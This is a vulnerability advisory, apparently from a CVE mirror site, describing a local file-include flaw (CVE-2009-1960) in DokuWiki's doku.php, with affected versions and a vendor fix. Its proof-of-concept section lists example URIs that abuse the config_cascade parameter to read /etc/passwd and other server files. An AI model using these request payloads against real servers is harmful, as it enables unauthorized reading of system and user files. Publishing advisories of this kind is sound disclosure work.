Dokuwiki 'doku.php' Local File Include Vulnerability

BID:35095

Info

Dokuwiki 'doku.php' Local File Include Vulnerability

Bugtraq ID: 35095
Class: Input Validation Error
CVE: CVE-2009-1960
Remote: Yes
Local: No
Published: May 26 2009 12:00AM
Updated: Aug 21 2009 03:57PM
Credit: girex
Vulnerable: Gentoo Linux
DokuWiki DokuWiki rc2009-02-06
DokuWiki DokuWiki rc2009-01-30
DokuWiki DokuWiki 2009-02-14
Not Vulnerable: DokuWiki DokuWiki 2009-02-14b

Discussion

Dokuwiki 'doku.php' Local File Include Vulnerability

Dokuwiki is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view files and execute local scripts in the context of the webserver process, which may aid in further attacks.

Dokuwiki 2009-02-14, rc2009-02-06, and rc2009-01-30 are vulnerable; other versions may also be affected.

Exploit / POC

Dokuwiki 'doku.php' Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./README
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
http://www.example.com/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc

Solution / Fix

Dokuwiki 'doku.php' Local File Include Vulnerability

Solution:
The vendor has fixed the issue. Please see the references for details.


DokuWiki DokuWiki 2009-02-14

DokuWiki DokuWiki rc2009-01-30

DokuWiki DokuWiki rc2009-02-06

References

Dokuwiki 'doku.php' Local File Include Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report